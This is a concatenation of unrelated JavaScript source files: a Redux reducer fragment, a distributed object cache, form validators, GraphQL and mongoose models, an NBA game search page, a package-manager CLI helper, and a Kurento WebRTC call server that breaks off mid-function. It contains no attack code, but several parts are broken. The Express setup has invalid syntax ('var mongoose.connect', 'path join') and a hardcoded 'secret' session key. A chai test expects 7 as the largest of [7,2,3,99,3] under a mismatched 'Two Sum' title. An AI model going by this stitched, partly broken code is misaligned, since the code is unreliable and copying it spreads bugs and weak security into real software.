actionTypes.ADD_MOCK_DATA_KEY: mockData = mockData.map(mockDatum => { if (mockDatum.id === action.id) { mockDatum.fieldKeys.push(createFieldKeys()); } return mockDatum; }); return { ...state, mockData, }; case actionTypes.DELETE_MOCK_DATA_KEY: mockData = mockData.map(mockDatum => { if (mockDatum.id === action.mockDatumId) { mockDatum.fieldKeys = mockDatum.fieldKeys.filter(key => key.id !== action.mockDatumKeyId); } return mockDatum; }); return { ...state, mockData, }; case actionTypes.UPDATE_MOCK_DATA_KEY: mockData = mockData.map(mockDatum => { if (mockDatum.id === action.mockDatumId) { mockDatum.fieldKeys.map(fieldKey => { if (fieldKey.id === action.mockDatumKeyId) { fieldKey.fieldKey = action.fieldKey; fieldKey.fieldType = action.fieldType; } return fieldKey; }); } return mockDatum; }); return { ...state, mockData, }; case actionTypes.CLEAR_MOCK_DATA: return { mockData: [], hasMockData: false, }; default: return state; } };
'use strict' import { relationType } from './make-relations' import { importRemoteCache } from '.' import domainEvents from '../domain/domain-events' import asyncPipe from './util/async-pipe' import { workerData } from 'worker_threads' import { UseCaseService } from './use-cases' const { internalCacheRequest, internalCacheResponse, externalCacheRequest, externalCacheResponse, externalCrudEvent } = domainEvents /** * @typedef {import("./model").Model} Model */ /** * Implements distributed object cache. Find any model * referenced by a relation that is not registered in * the model factory and listen for remote CRUD events * from it. On receipt of the event, import its remote * modules if we don't already have them, then rehydrate * and save the model instance to the cache. Subscribe * to external and broadcast internal on-demand requests, * i.e. cache misses. * * @param {{ * broker:import("./event-broker").EventBroker, * datasources:import("./datasource-factory").DataSourceFactory, * models:import("./model-factory").ModelFactory, * subscribe:function(string,function()), * publish:function(string,object), * }} param0 */ export default function DistributedCache ({ models, broker, datasources, publish, subscribe }) { /** * @typedef {{ * eventName:string, * modelName:string, * modelId:string, * model:Model|Model[], * args:[], * relation:{ * type:string, * modelName:string, * foreignKey:string} * }} Event the unit of data for tramsmission of cached data */ /** @typedef {import(".").ModelSpecification} ModelSpecification*/ /** * parse {@link Event} * @param {Event} payload * @returns {Event} */ function parse (payload) { if (!payload) { throw new Error({ func: parse.name, error: 'no payload included' }) } try { const requiredFields = ['eventName', 'model'] const actuals = Object.keys(payload) const missing = requiredFields.filter(k => !actuals.includes(k)) if (missing.length > 0) { console.error(parse.name, 'missing fields:', missing) throw new Error('missing required fields', { missing }) } return { ...payload, modelName: (payload.modelName || payload.model.modelName).toUpperCase(), modelId: payload.modelId || payload.model.id, args: payload.args || [] } } catch (e) { console.error('could not parse message', e, { payload }) } } /** * Unmarshal deserialized object. * @param {Array<Model>} model * @param {import("./datasource").default} datasource * @param {string} modelName * @returns {Model} */ function hydrate (o) { const { model, datasource, modelName } = o return { ...o, model: model.map(m => models.loadModel(broker, datasource, m, modelName)) } } /** * Save model to cache. * @param {Model[]} model * @param {import("./datasource").default} datasource * @param {function(m)=>m.id} return id to save */ async function save (o) { const { model, modelName, datasource } = o console.debug({ fn: save.name, modelName, ds: datasource.name }) if (modelName !== datasource.name.toUpperCase()) { console.error('wrong dataset, aborting') return o } model.forEach(async m => await datasource.save(models.getModelId(m), m)) return o } /** * Fetch {@link ModelSpecification} modules for `modelName` from repo. * @param {string} modelName */ async function streamCode (o) { const { modelName } = o console.debug('check if we have the code for this object...') if (!models.getModelSpec(modelName.toUpperCase())) { console.debug("...we don't, stream it.") // Stream the code for the model await importRemoteCache(modelName.toUpperCase()) return o } console.debug('...we do.') return o } /** * @param {*} eventName * @param {*} modelName * @param {Event} event * @returns */ async function handleDelete (eventName, modelName, event) { if ( eventName === models.getEventName(models.EventTypes.DELETE, modelName) ) { console.debug('deleting from cache', modelName, event.modelId) await datasources.getDataSource(modelName).delete(event.modelId) return true } return false } /** * Pipes functions that instantiate the remote object(s) and upsert the cache */ const handleUpsert = asyncPipe(streamCode, hydrate, save) /** * * @param {function(string):string} parser * @param {function(object)} route what to do after updating * @returns {function(message):Promise<void>} */ function updateCache (route) { return async function (message) { try { const event = parse(message) const eventName = event.eventName const models = [event.model].flat() const [model] = models const modelNameUpper = model.modelName.toUpperCase() console.debug('handle cache event', model, eventName) if (!modelNameUpper) throw new Error('no model', event) if (!model) { console.error('no model found', eventName) // no model found if (route) await route(event) return } if (await handleDelete(eventName, modelNameUpper, event)) return const enrichedEvent = await handleUpsert({ modelName: modelNameUpper, datasource: datasources.getDataSource(modelNameUpper), model: models, event }) if (route) route(enrichedEvent) } catch (error) { console.error({ fn: updateCache.name, error }) } } } /** * * @param {Event} event * @returns {Promise<Event>} * @throws */ async function createModels (event) { const modelName = event.relation.modelName.toUpperCase() const service = UseCaseService(modelName) const models = await Promise.all( event.args.map(async arg => { return service.addModel(arg) }) ) return { ...event, model: models } } /** * Creates new, related models if relation function is called * with arguments, e.g. * ```js * const customer = await order.customer(customerDetails); * const customers = await order.customer([cust1, cust2]); * ``` * * @param {Event} event * @returns {Promise<Event>} * Updated source model (model that defines the relation) * @throws */ async function saveModels (event) { try { const models = event.model const datasource = datasources.getDataSource( event.relation.modelName.toUpperCase() ) models.forEach(model => datasource.save(model.getId(), model)) return event } catch (error) { console.error(saveModels.name, error) return event } } const newModels = asyncPipe(createModels, saveModels) /** * Returns function to search the cache. * @param {function(string):string} parser * @param {function(object)} route * @returns {function(message):Promise<void>} * function that searches the cache */ function searchCache (route) { return async function (message) { try { const event = parse(message) const { relation, model } = event // args mean create an object if (event.args?.length > 0) { console.debug({ fn: searchCache.name, models: event.model }) return await route(await newModels(event)) } // find the requested object or objects const relatedModels = await relationType[relation.type]( model, datasources.getDataSource(relation.modelName.toUpperCase()), relation ) console.debug({ fn: searchCache.name, msg: 'related model(s)', related: relatedModels }) return await route({ ...event, model: relatedModels }) } catch (error) { console.error(searchCache.name, error) } } } /** * Listen for response to search request and notify requester. * @param {*} responseName * @param {*} internalName */ const receiveSearchResponse = (responseName, internalName) => subscribe( responseName, updateCache(async event => broker.notify(internalName, event)) ) /** * Listen for search request from remote system, search and send response. * * @param {string} request name of event received from remote instance * @param {string} response name of event sent in response to request */ const answerSearchRequest = (request, response) => subscribe( request, searchCache(event => publish({ ...event, eventName: response, eventTarget: event.eventSource, eventSource: event.eventTarget }) ) ) /** * Listen for internal events requesting cache search and send to remote systems. * @param {string} internalEvent name of internal event * @param {string} externalEvent name of external event */ const forwardSearchRequest = (internalEvent, externalEvent) => broker.on(internalEvent, event => publish({ ...event, eventName: externalEvent }) ) /** * Listen for events from remote systems and update local cache. * @param {string} eventName */ const receiveCrudBroadcast = eventName => subscribe(externalCrudEvent(eventName), updateCache()) /** * * @param {string} eventName */ const broadcastCrudEvent = eventName => broker.on(eventName, async event => publish({ ...event, eventName: externalCrudEvent(eventName) }) ) /** * Subcribe to external CRUD events for related models. * Also listen for request and response events for locally * and remotely cached data. */ function start () { const modelSpecs = models.getModelSpecs() const localModels = [workerData.modelName.toUpperCase()] const remoteModels = [ ...new Set( // deduplicate modelSpecs .filter(m => m.relations) // only models with relations .map(m => Object.keys(m.relations) .filter( // filter out existing local models k => !localModels.includes(m.relations[k].modelName.toUpperCase()) ) .map(k => m.relations[k].modelName.toUpperCase()) ) .reduce((a, b) => a.concat(b), []) ) ] console.info('local models', localModels, 'remote models', remoteModels) // Forward requests to, handle responses from, remote models remoteModels.forEach(function (modelName) { // listen for internal requests and forward externally forwardSearchRequest( internalCacheRequest(modelName), externalCacheRequest(modelName) ) // listen for external responses to forwarded requests receiveSearchResponse( externalCacheResponse(modelName), internalCacheResponse(modelName) ) // listen for CRUD events from related, external models ;[ models.getEventName(models.EventTypes.UPDATE, modelName), models.getEventName(models.EventTypes.CREATE, modelName), models.getEventName(models.EventTypes.DELETE, modelName) ].forEach(receiveCrudBroadcast) }) // Respond to search requests and broadcast CRUD events localModels.forEach(function (modelName) { // Listen for external requests and respond with search results answerSearchRequest( externalCacheRequest(modelName), externalCacheResponse(modelName) ) // Listen for local CRUD events and forward externally ;[ models.getEventName(models.EventTypes.UPDATE, modelName), models.getEventName(models.EventTypes.CREATE, modelName), models.getEventName(models.EventTypes.DELETE, modelName) ].forEach(broadcastCrudEvent) }) } console.info('distributed object cache running') return Object.freeze({ start }) }
import {createValidator, required, minLength} from 'utils/validation' const PasswordValidation = createValidator({ email: [required], password: [required], newPassword: [minLength(6)], verifyNewPassword: [minLength(6)] }) export default PasswordValidation
const assert = require('assert'); module.exports = turn_into_error_object; turn_into_error_object.is_error_object = is_error_object; const error_props = ['stack', 'message', 'name',]; function turn_into_error_object(obj, err_obj=new Error()) { assert(is_error_object(err_obj), err_obj); error_props.forEach(prop => { Object.defineProperty(obj, prop, {enumerable: false, writable: true, configurable: true, value: err_obj[prop]}); }); assert(is_error_object(obj), obj); return obj; } function is_error_object(obj) { return ( typeof obj === "object" && error_props.every(prop => typeof obj[prop] === "string" || !!obj[prop]) ); };
// COPYRIGHT © 2020 Esri // // All rights reserved under the copyright laws of the United States // and applicable international laws, treaties, and conventions. // // This material is licensed for use under the Esri Master License // Agreement (MLA), and is bound by the terms of that agreement. // You may redistribute and use this code without modification, // provided you adhere to the terms of the MLA and include this // copyright notice. // // See use restrictions at http://www.esri.com/legal/pdfs/mla_e204_e300/english // // For additional information, contact: // Environmental Systems Research Institute, Inc. // Attn: Contracts and Legal Services Department // 380 New York Street // Redlands, California, USA 92373 // USA // // email: contracts@esri.com // // See http://js.arcgis.com/3.33/esri/copyright.txt for details. define(["./ArcGISMapServiceLayer","./LayerInfo","./TimeInfo","./LayerTimeOptions","./TimeReference","./Field","./Domain","./RangeDomain","./CodedValueDomain","./InheritedDomain","./LayerSource","./LayerMapSource","./LayerDataSource","./DataSource","./TableDataSource","./QueryDataSource","./JoinDataSource","./RasterDataSource","./DynamicLayerInfo","./LayerDrawingOptions","../geometry","../utils"],(function(){return{}}));
const graphql = require('graphql'); const { GraphQLObjectType, GraphQLString } = graphql; const PaintingType = new GraphQLObjectType({ name: 'Painting', fields: () => ({ id: { type: GraphQLString }, name: { type: GraphQLString }, url: { type: GraphQLString }, technique: { type: GraphQLString } }) }); module.exports = PaintingType;
"use strict"; var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; Object.defineProperty(exports, "__esModule", { value: true }); var core_1 = require("@angular/core"); /** * @title Basic button-toggles */ var ButtonToggleOverviewExample = /** @class */ (function () { function ButtonToggleOverviewExample() { } ButtonToggleOverviewExample = __decorate([ core_1.Component({ selector: 'button-toggle-overview-example', template: "<mat-button-toggle-group name=\"fontStyle\" aria-label=\"Font Style\"><mat-button-toggle value=\"bold\">Bold</mat-button-toggle><mat-button-toggle value=\"italic\">Italic</mat-button-toggle><mat-button-toggle value=\"underline\">Underline</mat-button-toggle></mat-button-toggle-group>", styles: ["/** No CSS for this example */ "], }) ], ButtonToggleOverviewExample); return ButtonToggleOverviewExample; }()); exports.ButtonToggleOverviewExample = ButtonToggleOverviewExample; //# sourceMappingURL=button-toggle-overview-example.js.map
// ??? what are all of these variables? // Log in start var express = require('express'); var path = require('path'); var cookieParser = require('cookie-parser'); var bodyParser = require('body-parser'); var exphbs = require('express-handlebars'); var expressValidator = require('express-validator'); var flash = require('connect-flash'); var session = require('express-session'); var passport = require('passport'); var LocalStrategy = require('passport-local').Strategy; var mongo = require('mongodb'); var mongoose = require('mongoose'); var mongoose.connect('mongodb://localhost/projectTwo'); var db = mongoose.connection; var routes = require('./routes/index'); var users = require('./routes/users'); // Init App var app = express(); // View Engine app.set('views', path join(__dirname, 'views')); app.set('handlebars', exphbs({defaultLayout: 'layout'})); app.set('view engine', 'handlebars'); // BodyParser Middleware app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: false })); app.use(cookieParser()); // Set Static Folder app.use(express.static(path.join(__dirname, 'public'))); // Express Session app.use(session({ secret: 'secret', saveUninitialized: true, resave: true })); // Express Validator
import React from 'react'; import {Icon} from 'native-base'; import {connect} from 'react-redux'; import CategoryList from './CategoryList'; import SectionHeader from '../Dashboard/SectionHeader'; import {selectCategoryType} from '../../actions'; import {CategoryPageContainer, CategoryPageFab} from './index.styles'; const CategoryPage = (props) => { const {navigation} = props; return ( <CategoryPageContainer> <SectionHeader /> <CategoryList navigate={navigation.navigate} /> <CategoryPageFab testID="categoryPageFab" onPress={() => navigation.navigate('CategoryAdd')} direction="up" position="bottomRight"> <Icon name="add" /> </CategoryPageFab> </CategoryPageContainer> ); }; const mapStateToProps = (state) => { return {selectedCategoryType: state.selectedCategoryType}; }; export default connect(mapStateToProps, {selectCategoryType})(CategoryPage);
const search = document.getElementById("search-input"); const matchlist = document.getElementById("match-liste-ul"); const submitbtn = document.getElementById("submit"); matchlist.addEventListener("click", function (e) { if (e.target.className === "eintrag") { const matchText = e.target.firstElementChild.innerText; search.value = matchText; removeHTML(matchlist); } if (e.target.className === "eintrag-header") { const matchText = e.target.innerText; search.value = matchText; removeHTML(matchlist); } }); const getTeams = async () => { // Function that gets all teams const res = await fetch("https://www.balldontlie.io/api/v1/teams"); const jsonf = await res.json(); teams = jsonf.data; return teams; }; const searchTeams = (searchText) => { // Get matches to current text input let matches = teams.filter((team) => { const regex = new RegExp(`^${searchText}`, "gi"); // Compare if input matches return team.full_name.match(regex) || team.name.match(regex); // Return array if name or fullname matches regex }); if (searchText.length === 0) { matches = []; removeHTML(matchlist); } outputSearch(matches); }; const outputSearch = (matches) => { if (matches.length > 0) { const html = matches .map( (match) => ` <div class="eintrag"> <p class="eintrag-header">${match.full_name}</p> <span class='abbreviation'> <b>(${match.abbreviation})</b> </span> </div> ` ) .join(""); matchlist.innerHTML = html; } }; function today() { const today = new Date(); let month = today.getMonth() + 1; // Month startet mit Januar=0, also +1 if (month < 10) month = `0${month}`; // mit 0 auffüllen wenn 1 Ziffer let day = today.getDate(); // mit 0 auffüllen wenn 1 Ziffer if (day < 10) day = `0${day}`; const format = `${today.getFullYear()}-${month}-${day}`; return format; } function newElement(element) { const ele = document.createElement(element); return ele; } function removeHTML(element) { element.innerHTML = ""; } function getIdTeam() { return (promise = teams.filter((team) => { let teamname = search.value; if (team.full_name.match(teamname)) return team; })); } function validateForm(){ if (search.value.length === 0) return alert("Please select a team first!"); if (document.querySelector(".start-date").value.length === 0) return alert("Please select a start date first!"); if (document.querySelector(".start-date").value.length === 0) return alert("Please select an end date first!"); return 1; } submitbtn.addEventListener("click", function () { if (validateForm()!== 1) return; removeHTML(document.querySelector(".game-list")); const teamid = getIdTeam()[0].id; const urlgame = ` https://www.balldontlie.io/api/v1/games?start_date=${document.querySelector(".start-date").value} &end_date=${document.querySelector(".end-date").value} &team_ids[]=${teamid} &per_page=${document.querySelector(".game-number").value} `; const getGame = async () => { try { const res = await fetch(urlgame); const jsonf = await res.json(); const games = jsonf.data; if (games.length < 1) alert("No games found in the selected timeframe!"); games.sort((a, b) => (a.date > b.date ? 1 : -1)); let ul = document.querySelector(".game-list"); for (const iterator of games) { let li = newElement("li"); document.querySelector(".game-list-container").appendChild(ul); ul.appendChild(li); // const hometeam = document.createTextNode( // `Date: ${iterator.date} // Home Team:${iterator.home_team.name} ${iterator.home_team_score} vs` // ); // const awayteam = document.createTextNode( // ` ${iterator.visitor_team_score} Away Team:${iterator.visitor_team.name}` // ); const formatDate = iterator.date.toString().slice(0, 10); if (iterator.home_team_score > iterator.visitor_team_score) { var text = ` <div class="date">${formatDate}</div> <div class="teamrows"> <div class="teamrow"> <span class="team-name team-winner"> ${iterator.home_team.name}</span> <span class="score winner">${iterator.home_team_score}</span> </br> </div> <div class="teamrow"> <span class="team-name">${iterator.visitor_team.name}</span> <span class="score">${iterator.visitor_team_score}</span> </div> </div> <div class="bottom-container"> <a href="https://www.youtube.com/results?search_query=${iterator.home_team.full_name} vs ${iterator.visitor_team.full_name} ${formatDate}" class="youtube-link" target="_blank">Search<i class="fa fa-youtube-square" aria-hidden="true"></i> </a> </div> `; } else { text = ` <div class="date">${formatDate}</div> <div class="teamrows"> <div class="teamrow"> <span class="team-name"> ${iterator.home_team.name}</span> <span class="score">${iterator.home_team_score}</span> </br> </div> <div class="teamrow"> <span class="team-name team-winner">${iterator.visitor_team.name}</span> <span class="score winner">${iterator.visitor_team_score}</span> </div> </div> <div class="bottom-container"> <a href="https://www.youtube.com/results?search_query=${iterator.home_team.full_name} vs ${iterator.visitor_team.full_name} ${formatDate}" class="youtube-link" target="_blank">Search<i class="fa fa-youtube-square" aria-hidden="true"></i> </a> </div> `; } li.innerHTML = text; } // li.appendChild(hometeam); // li.appendChild(awayteam); } catch (err) { throw Error("Failed to fetch: " + err); } }; getGame(); }); search.addEventListener("input", () => searchTeams(search.value)); window.addEventListener("load", getTeams());
import {expect} from 'chai' // This part from User to click button to run code. function largestNum(array) { let largest = 0 for (let i = 0; i < array.length; i++) { if (array[i] > largest) { largest = array[i] } } return largest } // This part from DB test table const input = [[], [1, 2, 3], [10, 23, 342, 87], [7, 2, 3, 99, 3]] const output = [0, 3, 342, 7] const expectedOutputType = 'number' const questionTitle = 'Two Sum' // This part run in VM code const userOutput = input.map(item => largestNum(item)) describe(`${questionTitle} question`, () => { try { userOutput.forEach((item, idx) => { it(`The input for the question: ${JSON.stringify( input[idx] )}, output expected to be a ${expectedOutputType}.`, () => { expect(item).to.be.a(expectedOutputType) }) it(`Expected output: ${output[idx]}, instead got: ${item}`, () => { expect(item).to.eql(output[idx]) }) }) } catch (error) { console.log('did not pass the test!') } })
// 現在日時 // formatDate(new Date(Date.now())) // 加算日時 // formatDate(nowDate.setDate(nowDate.getDate() + parseInt(days))) import moment from 'moment' /** * date = Date Tue Dec 22 2020 16:35:48 GMT+0900 (日本標準時) * formatDate(date) return 20201212 */ const formatDate = (date) => { return moment(date).format('YYYYMMDD'); }; /** * date = Date Tue Dec 22 2020 16:35:48 GMT+0900 (日本標準時) * formatDate(date) return 2020-12-12 */ const formatDateWithHyphen = (date) => { return moment(date).format('YYYY-MM-DD'); } const formatDateWithTime = (date) => { return moment(date).format('YYYY-MM-DD HH:mm'); } const formatDateWithTimeJP = (date) => { return moment(date).format('M月DD日 HH:mm'); } const formatTime = (date) => { return moment(date).format('HH:mm'); } export { formatDate, formatDateWithHyphen, formatDateWithTime, formatDateWithTimeJP, formatTime, }
const { findPokemon, upgradeLevelPokemon, downgradeLevelPokemon } = require('../services/pokemon.services'); const { battlePokemons } = require('../services/battle.services'); module.exports = { async battle(request, response) { const { pokemonAId, pokemonBId } = request.params; try { const pokemonA = await findPokemon(pokemonAId); const pokemonB = await findPokemon(pokemonBId); const resultBattle = battlePokemons(pokemonA, pokemonB); const vencedor = await upgradeLevelPokemon(resultBattle.vencedor.id); const perdedor = await downgradeLevelPokemon(resultBattle.perdedor.id); return response.status(200).json({ vencedor, perdedor }); } catch (e) { return response.status(404).json({ message: 'Pokemon not found' }); } }, };
const chalk = require("chalk"); const { execSync } = require("child_process"); const { hasYarn, hasCnpm, hasGit } = require("./config"); const PM_CONFIG = { npm: { install: ["install", "--loglevel", "error"], uninstall: ["uninstall", "--loglevel", "error"], }, yarn: { install: [], uninstall: ["remove"], }, }; PM_CONFIG.cnpm = PM_CONFIG.npm; module.exports = class PackageManager { constructor(targetDir) { this.targetDir = targetDir; // 生成的项目的目录 if (hasYarn()) { this.bin = "yarn"; } else if (hasCnpm) { this.bin = "cnpm"; } else { this.bin = "npm"; } } // 进入目标项目目录 cdProjectPath() { try { process.chdir(this.targetDir); } catch (error) { console.log(chalk.red("不存在该项目目录")); process.exit(-1); } } run(command, args = []) { try { const commands = [this.bin, ...PM_CONFIG[this.bin][command], ...args]; const newCommands = commands.join(" "); execSync(newCommands, { stdio: [0, 1, 2] }); } catch (error) { console.log(chalk.red(error)); throw error; } } install() { try { this.run("install", ["--offline"]); } catch (error) { this.run("install"); } } git() { if (!hasGit()) { console.log( chalk.yellow("您本地还没有安装git,请前往安装:https://git-scm.com/") ); return; } execSync("git init"); } };
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = require('react'); var _react2 = _interopRequireDefault(_react); var _reactInspector = require('react-inspector'); var _reactInspector2 = _interopRequireDefault(_reactInspector); var _style = require('./style'); var _style2 = _interopRequireDefault(_style); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var ActionLogger = function (_Component) { _inherits(ActionLogger, _Component); function ActionLogger() { _classCallCheck(this, ActionLogger); return _possibleConstructorReturn(this, Object.getPrototypeOf(ActionLogger).apply(this, arguments)); } _createClass(ActionLogger, [{ key: 'componentDidUpdate', value: function componentDidUpdate() { var latest = this.refs.latest; if (latest) { (function () { var borderLeft = _style2.default.action.borderLeft; latest.style.borderLeft = 'solid 5px #aaa'; setTimeout(function () { latest.style.borderLeft = borderLeft; }, 300); })(); } } }, { key: 'renderAction', value: function renderAction(action, i) { var ref = i ? '' : 'latest'; var counter = _react2.default.createElement( 'div', { style: _style2.default.counter }, action.count ); return _react2.default.createElement( 'div', { ref: ref, key: action.id, style: _style2.default.action }, _react2.default.createElement( 'div', { style: _style2.default.countwrap }, action.count > 1 && counter ), _react2.default.createElement( 'div', { style: _style2.default.inspector }, _react2.default.createElement(_reactInspector2.default, { showNonenumerable: true, name: action.data.name, data: action.data.args || action.data }) ) ); } }, { key: 'getActionData', value: function getActionData() { var _this2 = this; return this.props.actions.map(function (action, i) { return _this2.renderAction(action, i); }); } }, { key: 'render', value: function render() { return _react2.default.createElement( 'div', { style: _style2.default.wrapper }, _react2.default.createElement( 'pre', { style: _style2.default.actions }, this.getActionData() ), _react2.default.createElement( 'button', { style: _style2.default.button, onClick: this.props.onClear }, 'CLEAR' ) ); } }]); return ActionLogger; }(_react.Component); ActionLogger.propTypes = { onClear: _react2.default.PropTypes.func, actions: _react2.default.PropTypes.array }; exports.default = ActionLogger;
// sucursal-model.js - A mongoose model // // See http://mongoosejs.com/docs/models.html // for more of what you can do here. module.exports = function (app) { const mongooseClient = app.get('mongooseClient'); const { Schema } = mongooseClient; const sucursal = new Schema({ colonia: { type: Schema.Types.ObjectId, required: true, ref: 'colonia' }, name: { type: String, required: true } }, { timestamps: true }); return mongooseClient.model('sucursal', sucursal); };
/* * (C) Copyright 2014 Kurento (http://kurento.org/) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ var path = require('path'); var express = require('express'); var ws = require('ws'); var minimist = require('minimist'); var url = require('url'); var kurento = require('kurento-client'); var fs = require('fs'); var https = require('https'); var http = require('http'); var argv = minimist(process.argv.slice(2), { default: { as_uri: "http://localhost:6008/", ws_uri: "ws://184.72.115.87:8888/kurento" } }); var options = { key: fs.readFileSync('keys/server.key'), cert: fs.readFileSync('keys/server.crt') }; var app = express(); app.set('port', process.env.PORT || 6008); /* * Definition of global variables. */ var kurentoClient = null; var userRegistry = new UserRegistry(); var pipelines = {}; var candidatesQueue = {}; var idCounter = 0; function nextUniqueId() { idCounter++; return idCounter.toString(); } /* * Definition of helper classes */ // Represents caller and callee sessions function UserSession(id, name, ws) { this.id = id; this.name = name; this.ws = ws; this.peer = null; this.sdpOffer = null; } UserSession.prototype.sendMessage = function(message) { this.ws.send(JSON.stringify(message)); } // Represents registrar of users function UserRegistry() { this.usersById = {}; this.usersByName = {}; } UserRegistry.prototype.register = function(user) { this.usersById[user.id] = user; this.usersByName[user.name] = user; } UserRegistry.prototype.unregister = function(id) { var user = this.getById(id); if (user) delete this.usersById[id] if (user && this.getByName(user.name)) delete this.usersByName[user.name]; } UserRegistry.prototype.getById = function(id) { return this.usersById[id]; } UserRegistry.prototype.getByName = function(name) { return this.usersByName[name]; } UserRegistry.prototype.removeById = function(id) { var userSession = this.usersById[id]; if (!userSession) return; delete this.usersById[id]; delete this.usersByName[userSession.name]; } // Represents a B2B active call function CallMediaPipeline() { this.pipeline = null; this.webRtcEndpoint = {}; } CallMediaPipeline.prototype.createPipeline = function(callerId, calleeId, ws, callback) { var self = this; getKurentoClient(function(error, kurentoClient) { if (error) { return callback(error); } kurentoClient.create('MediaPipeline', function(error, pipeline) { if (error) { return callback(error); } pipeline.create('WebRtcEndpoint', function(error, callerWebRtcEndpoint) { if (error) { pipeline.release(); return callback(error); } if (candidatesQueue[callerId]) { while(candidatesQueue[callerId].length) { var candidate = candidatesQueue[callerId].shift(); callerWebRtcEndpoint.addIceCandidate(candidate); } } callerWebRtcEndpoint.on('OnIceCandidate', function(event) { var candidate = kurento.getComplexType('IceCandidate')(event.candidate); userRegistry.getById(callerId).ws.send(JSON.stringify({ id : 'iceCandidate', candidate : candidate })); }); pipeline.create('WebRtcEndpoint', function(error, calleeWebRtcEndpoint) { if (error) { pipeline.release(); return callback(error); } if (candidatesQueue[calleeId]) { while(candidatesQueue[calleeId].length) { var candidate = candidatesQueue[calleeId].shift(); calleeWebRtcEndpoint.addIceCandidate(candidate); } } calleeWebRtcEndpoint.on('OnIceCandidate', function(event) { var candidate = kurento.getComplexType('IceCandidate')(event.candidate); userRegistry.getById(calleeId).ws.send(JSON.stringify({ id : 'iceCandidate', candidate : candidate })); }); callerWebRtcEndpoint.connect(calleeWebRtcEndpoint, function(error) { if (error) { pipeline.release(); return callback(error); } calleeWebRtcEndpoint.connect(callerWebRtcEndpoint, function(error) { if (error) { pipeline.release(); return callback(error); } }); self.pipeline = pipeline; self.webRtcEndpoint[callerId] = callerWebRtcEndpoint; self.webRtcEndpoint[calleeId] = calleeWebRtcEndpoint; callback(null); }); }); }); }); }) } CallMediaPipeline.prototype.generateSdpAnswer = function(id, sdpOffer, callback) { this.webRtcEndpoint[id].processOffer(sdpOffer, callback); this.webRtcEndpoint[id].gatherCandidates(function(error) { if (error) { return callback(error); } }); } CallMediaPipeline.prototype.release = function() { if (this.pipeline) this.pipeline.release(); this.pipeline = null; } /* * Server startup */ var asUrl = url.parse(argv.as_uri); var port = process.env.PORT || asUrl.port; var server = http.createServer(app).listen(port, function() { console.log('Kurento Tutorial started'); console.log('Open ' + url.format(asUrl) + ' with a WebRTC capable browser'); }); // var server = app.listen(app.get('port'), function(){ // console.log('Express server listening on port ' + app.get('port')); // }); var wss = new ws.Server({ server : server, path : '/one2one' }); wss.on('connection', function(ws) { var sessionId = nextUniqueId(); console.log('Connection received with sessionId ' + sessionId); ws.on('error', function(error) { console.log('Connection ' + sessionId + ' error'); stop(sessionId); }); ws.on('close', function() { console.log('Connection ' + sessionId + ' closed'); stop(sessionId); userRegistry.unregister(sessionId); }); ws.on('message', function(_message) { var message = JSON.parse(_message); console.log('Connection ' + sessionId + ' sent message ', message); switch (message.id) { case 'register': register(sessionId, message.name, ws); break; case 'call': call(sessionId, message.to, message.from, message.sdpOffer); break; case 'incomingCallResponse': incomingCallResponse(sessionId, message.from, message.callResponse, message.sdpOffer, ws); break; case 'stop': stop(sessionId); break; case 'onIceCandidate': onIceCandidate(sessionId, message.candidate); break; default: ws.send(JSON.stringify({ id : 'error', message : 'Invalid message ' + message })); break; } }); }); // Recover kurentoClient for the first time. function getKurentoClient(callback) { if (kurentoClient !== null) { return callback(null, kurentoClient); } kurento(argv.ws_uri, function(error, _kurentoClient) { if (error) { var message = 'Coult not find media server at address ' + argv.ws_uri; return callback(message + ". Exiting with error " + error); } kurentoClient = _kurentoClient; callback(null, kurentoClient); }); } function stop(sessionId) { if (!pipelines[sessionId]) { return; } var pipeline = pipelines[sessionId]; delete pipelines[sessionId]; pipeline.release(); var stopperUser = userRegistry.getById(sessionId); var stoppedUser = userRegistry.getByName(stopperUser.peer); stopperUser.peer = null; if (stoppedUser) { stoppedUser.peer = null; delete pipelines[stoppedUser.id]; var message = { id: 'stopCommunication', message: 'remote user hanged out' } stoppedUser.sendMessage(message) } clearCandidatesQueue(sessionId); } function incomingCallResponse(calleeId, from, callResponse, calleeSdp, ws) { clearCandidatesQueue(calleeId); function onError(callerReason, calleeReason) { if (pipeline) pipeline.release(); if (caller) { var callerMessage = { id: 'callResponse', response: 'rejected' } if (callerReason) callerMessage.message = callerReason; caller.sendMessage(callerMessage); } var calleeMessage = { id: 'stopCommunication' }; if (calleeReason) calleeMessage.message = calleeReason; callee.sendMessage(calleeMessage); } var callee = 